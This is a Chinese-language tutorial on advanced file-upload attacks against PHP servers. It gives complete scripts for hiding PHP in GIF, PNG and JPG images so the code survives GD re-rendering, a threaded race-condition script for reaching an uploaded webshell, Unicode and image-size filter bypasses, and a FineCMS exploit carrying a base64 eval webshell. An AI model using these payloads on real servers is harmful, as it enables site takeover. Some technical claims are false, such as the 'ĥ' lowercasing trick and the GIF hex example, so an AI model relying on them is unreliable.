文件上传漏洞进阶教程

图片二次渲染绕过

什么是二次渲染

二次渲染是指服务器在上传图片后,使用GD库或其他图像处理库重新生成图片。这个过程会去除图片中的恶意代码,使得传统的图片马失效。服务器通常会使用imagecreatefromjpeg()imagecreatefrompng()imagecreatefromgif()等函数重新生成图片,这些函数会解析图片文件并重新编码,在此过程中会删除不符合图片格式的数据,包括嵌入的PHP代码。

技术原理:

GD库在处理图片时,会解析图片文件的结构,提取有效的图像数据,然后重新编码生成新的图片文件。这个过程会:

  • 去除不符合图片格式的数据
  • 重新计算各种校验值
  • 规范化文件结构
  • 删除嵌入的恶意代码

检测方法

服务器代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$imageinfo = getimagesize($_FILES['uploaded_file']['tmp_name']);
if ($imageinfo === FALSE) {
die("如果不能好好传图片的话就还是不要来打扰我了");
}
if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) {
die("东西不能方方正正的话就很讨厌");
}

$imagePath = "image/" . mb_strtolower($fileName);
if(move_uploaded_file($_FILES["uploadedFile"]["tmp_name"], $imagePath)) {
// 二次渲染处理
$img = imagecreatefromjpeg($imagePath);
imagejpeg($img, $imagePath);
imagedestroy($img);
}

GIF二次渲染绕过

利用原理:

GIF文件由多个数据块组成,包括图形控制扩展块、应用程序扩展块、注释块等。GD库在重新渲染时只会修改部分数据块,某些位置的数据不会被改变。具体来说,GIF文件的某些数据块在渲染过程中会被跳过或保持不变,这些位置可以用来插入恶意代码。

绕过步骤:

  • 第一步:准备GIF图片

找一个GIF图片,使用十六进制编辑器打开。

  • 第二步:找到渲染前后不变的位置

上传图片后下载,对比原始图片和渲染后图片的十六进制数据,找到没有变化的位置。通常,GIF文件中的某些扩展块或注释块在渲染过程中不会被修改。

  • 第三步:写入PHP代码

在不变的位置写入PHP代码:

1
<?php phpinfo(); ?>
  • 第四步:验证

上传修改后的图片,下载并检查PHP代码是否保留。

实例演示:

原始GIF文件(部分十六进制):

1
47 49 46 38 39 61 01 00 01 00 00 00 21 F9 04 01 00 00 00 00 2C 00 00 00 00 01 00 01 00 00 02 02 4C 01 00 3B

渲染后对比,发现蓝色部分未变化:

1
47 49 46 38 39 61 01 00 01 00 00 00 00 21 F9 04 01 00 00 00 00 2C 00 00 00 00 01 00 01 00 00 02 02 4C 01 00 3B

在不变位置插入代码:

1
2
47 49 46 38 39 61 01 00 01 00 00 00 00 21 F9 04 01 00 00 00 00 2C 00 00 00 00 01 00 01 00 00 02 02 4C 01 00 3B
3C 3F 70 68 70 20 70 68 70 69 6E 66 6F 28 29 3B 20 3F 3E

PNG二次渲染绕过

PNG文件结构:

PNG文件由多个数据块(chunk)组成,分为关键数据块和辅助数据块:

关键数据块:

  • IHDR:文件头数据块
  • IDAT:图像数据块
  • IEND:图像结束数据块

辅助数据块:

  • PLTE:调色板数据块
  • tEXt:文本信息数据块
  • zTXt:压缩文本数据块
  • iTXt:国际文本数据块

数据块结构:

1
2
3
4
Length (4 bytes)    - 数据块长度
Chunk Type (4 bytes) - 数据块类型
Chunk Data (N bytes) - 数据块数据
CRC (4 bytes) - 循环冗余校验

CRC(Cyclic Redundancy Check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的。CRC具体算法定义在ISO 3309和ITU-T V.42中。

方法一:写入PLTE数据块

利用原理: PHP底层在对PLTE数据块验证的时候,主要进行了CRC校验。PLTE数据块存储调色板信息,GD库在渲染时会读取调色板数据,但不会修改整个数据块。因此,可以在chunk data域插入php代码,然后重新计算相应的crc值并修改即可。这种方式只针对索引彩色图像的png图片才有效。

适用条件:

  • 仅适用于索引彩色图像(color type = 03)
  • 需要重新计算CRC值

步骤:

  1. 选择合适的PNG图片

检查IHDR数据块的color type,确保为03(索引彩色图像)。

  1. 在PLTE数据块写入PHP代码

使用十六进制编辑器在PLTE数据块的chunk data域插入PHP代码。

  1. 计算CRC值

使用Python脚本计算新的CRC值:

1
2
3
4
5
6
7
8
9
10
11
12
import binascii
import re

png = open('shell.png', 'rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)

# PLTE crc
data = '504c5445' + re.findall('504c5445(.*?)49444154', hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)
  1. 修改CRC值

将计算出的CRC值写入PLTE数据块的CRC域。

  1. 验证

上传修改后的PNG图片,下载并检查PHP代码是否保留。

方法二:写入IDAT数据块

利用原理: IDAT数据块存储实际的图像数据。通过精心构造像素数据,可以将PHP代码编码到图像数据中,使得GD库在渲染时不会检测到异常。国外大牛编写的脚本可以生成包含PHP代码的PNG图片,这些图片在二次渲染后PHP代码仍然保留。

使用国外大牛编写的脚本生成PNG图片马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img, './shell.png');
?>

运行脚本后生成的PNG图片即可绕过二次渲染。

JPG二次渲染绕过

利用原理:

JPG文件的二次渲染绕过需要找到在渲染过程中不会改变的数据区域,并在这些区域注入恶意代码。JPG文件由多个段组成,包括SOI(Start of Image)、SOF(Start of Frame)、DHT(Define Huffman Table)、DQT(Define Quantization Table)、SOS(Start of Scan)等。某些段的数据在渲染过程中不会被修改,可以用来注入payload。

使用脚本生成:

使用jpg_payload.php脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
<?php
$miniPayload = "<?=phpinfo();?>";

if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

使用步骤:

  • 第一步:准备JPG图片

随便找一个JPG图片,先上传至服务器然后再下载到本地保存为1.jpg

  • 第二步:插入PHP代码

使用脚本处理1.jpg

1
php jpg_payload.php 1.jpg
  • 第三步:上传图片马

将生成的payload_1.jpg上传。

  • 第四步:验证

将上传的图片再次下载到本地,使用十六进制编辑器打开,检查PHP代码是否保留。

竞争条件攻击

什么是竞争条件

竞争条件攻击利用了文件上传、解压和删除操作之间的时间差。在上传的文件被删除之前访问该文件,可以成功执行恶意代码。这种攻击方式依赖于服务器处理请求的顺序和时间,如果在上传、解压、删除这三个操作之间存在时间窗口,攻击者就可以在这个时间窗口内访问恶意文件。

技术原理:

竞争条件(Race Condition)是指系统的行为依赖于多个事件执行的顺序。在文件上传场景中,典型的流程是:

  1. 用户上传文件
  2. 服务器验证文件
  3. 服务器保存文件
  4. 服务器删除文件(如果验证失败)

如果攻击者在步骤3和步骤4之间访问文件,就可以成功利用漏洞。

检测方法

服务器代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 创建图片存储文件夹
$dir = FCPATH.'member/uploadfile/member/'.$this->uid.'/';
if (!file_exists($dir)) {
mkdir($dir, 0777, true);
}

// 解压缩文件
$this->load->library('Pclzip');
$this->pclzip->PclFile($filename);

if ($this->pclzip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
exit($this->pclzip->zip(true));
}

// 删除非图片文件
$files = glob("$dir/*");
foreach($files as $file){
if (!is_image($file)) {
unlink($file);
}
}

这段代码存在竞争条件:解压完成后,会删除非图片文件。但是,如果攻击者能够在文件被删除之前访问文件,就可以成功利用。

攻击步骤

  • 第一步:准备恶意压缩包

创建一个包含webshell的zip文件。

  • 第二步:上传压缩包

上传zip文件到服务器。

  • 第三步:并发访问

在服务器删除文件之前,使用多线程或并发请求访问webshell。

  • 第四步:获取shell

成功访问到webshell后,可以生成新的持久化shell。

自动化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import threading
import time

def upload_shell():
url = "http://target.com/upload.php"
files = {'file': open('shell.zip', 'rb')}
requests.post(url, files=files)

def access_shell():
url = "http://target.com/uploads/shell.php"
while True:
try:
r = requests.get(url)
if r.status_code == 200:
print("Shell accessed successfully!")
break
except:
pass

# 启动上传线程
t1 = threading.Thread(target=upload_shell)
t1.start()

# 启动多个访问线程
for i in range(10):
t = threading.Thread(target=access_shell)
t.start()

t1.join()

原理说明: 使用多线程并发技术,同时启动上传线程和多个访问线程。上传线程上传文件后,访问线程立即尝试访问文件,增加在文件被删除前成功访问的概率。

Unicode编码绕过

利用原理

某些PHP函数(如mb_strtolower)支持Unicode字符,可以利用Unicode字符的特性绕过过滤。mb_strtolower函数在处理Unicode字符时,会将某些特殊字符转换为普通字符。例如,大写的带点的I(İ)在mb_strtolower后会变成小写的i。这是因为Unicode字符集中存在多个看起来相同但编码不同的字符,mb_strtolower会根据Unicode规范进行转换。

技术原理:

Unicode字符集中存在多个视觉上相似但编码不同的字符。例如:

  • i(U+0069):小写拉丁字母i
  • İ(U+0130):带点的大写拉丁字母I

mb_strtolower函数会根据Unicode规范进行字符转换,将İ转换为i。如果服务器的过滤逻辑只检查原始文件名,而没有考虑Unicode转换,就可以利用这一特性绕过过滤。

检测方法

服务器代码示例:

1
2
3
4
5
$fileName = urldecode($_FILES['uploadedFile']['name']);
if(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) {
die("有些东西让你传上去的话那可不得了");
}
$imagePath = "image/" . mb_strtolower($fileName);

绕过方法

  • 第一步:了解Unicode字符

查找与过滤字符相似的Unicode字符,例如:

  • İ(带点的I)在mb_strtolower后会变成i

  • 第二步:构造文件名

使用Unicode字符构造文件名:

  • shell.pHpshell.pĥp

  • 第三步:上传文件

上传构造的文件,服务器会将其转换为小写并执行。

实例演示:

1
2
3
4
<?php
var_dump(mb_strtolower('İ')==='i');
// 输出: bool(true)
?>

上传文件名:shell.pĥp
服务器处理后:shell.php

图片尺寸限制绕过

检测方法

服务器代码示例:

1
2
3
4
5
6
7
$imageinfo = getimagesize($_FILES['uploadedFile']['tmp_name']);
if ($imageinfo === FALSE) {
die("如果不能好好传图片的话就还是不要来打扰我了");
}
if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) {
die("东西不能方方正正的话就很讨厌");
}

绕过方法

方法一:使用XBM格式

利用原理: XBM(X Bitmap)是一种图像格式,使用C语言语法定义图像。可以通过简单的文本编辑器创建XBM文件,精确控制图片的宽度和高度。XBM文件的第一行就是#define指令,可以直接指定图片尺寸。

创建XBM文件:

1
2
3
4
5
#define test_width 1
#define test_height 1
static unsigned char test_bits[] = {
0x00
};

方法二:修改图片尺寸

利用原理: 使用图像处理工具(如Photoshop、GIMP等)将图片尺寸调整为1x1像素。这样可以满足服务器的尺寸限制,同时保持图片的有效性。

方法三:使用脚本生成

利用原理: 使用PHP的GD库函数创建指定尺寸的图片。这样可以精确控制图片的宽度和高度,确保满足服务器的限制。

1
2
3
4
5
<?php
$img = imagecreatetruecolor(1, 1);
imagepng($img, 'shell.png');
imagedestroy($img);
?>

代码审计中的文件上传漏洞

FineCMS v5.0.9 任意文件上传

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function upload() {
$dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
@dr_dir_delete($dir);
!is_dir($dir) && dr_mkdirs($dir);

if ($_POST['tx']) {
$file = str_replace(' ', '+', $_POST['tx']);
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
exit(dr_json(0, '目录权限不足或磁盘已满'));
}
}
}
}

漏洞分析:

正则表达式/^(data:\s*image\/(\w+);base64,)/只匹配了image/;base64,之间的任意字符,没有对扩展名进行白名单验证。(\w+)匹配任意字母、数字和下划线,因此攻击者可以传入任意扩展名,如php、jsp等。

利用方法:

  • 第一步:准备payload
1
data:image/php;base64,PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=
  • 第二步:发送请求

将payload作为tx参数发送:

1
2
POST /index.php?s=member&c=account&m=upload HTTP/1.1
tx=data:image/php;base64,PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=
  • 第三步:访问webshell

访问生成的文件:/uploads/member/{uid}/0x0.php

PHPCMS头像上传漏洞

漏洞原理:

PHPCMS对头像上传的处理流程:

  1. 上传zip文件
  2. 解压zip文件
  3. 删除非图片文件

在解压和删除之间存在时间差,可以利用竞争条件访问webshell。服务器在解压zip文件后,会遍历解压目录中的所有文件,检查是否为图片文件。如果不是图片文件,就删除。但是,在解压完成和删除完成之间存在时间窗口,攻击者可以在这个窗口内访问webshell。

利用方法:

  • 第一步:准备恶意zip文件

创建包含webshell的zip文件。

  • 第二步:上传zip文件

上传zip文件到服务器。

  • 第三步:并发访问

使用多线程并发访问webshell,在删除前成功执行。

总结

本教程涵盖了文件上传漏洞的进阶技术,包括:

  • 图片二次渲染绕过(GIF、PNG、JPG)
  • 竞争条件攻击
  • Unicode编码绕过
  • 图片尺寸限制绕过
  • 代码审计中的文件上传漏洞

这些技术展示了文件上传漏洞的复杂性和多样性,需要深入理解才能有效防御。下一篇文章将介绍更高级的技巧。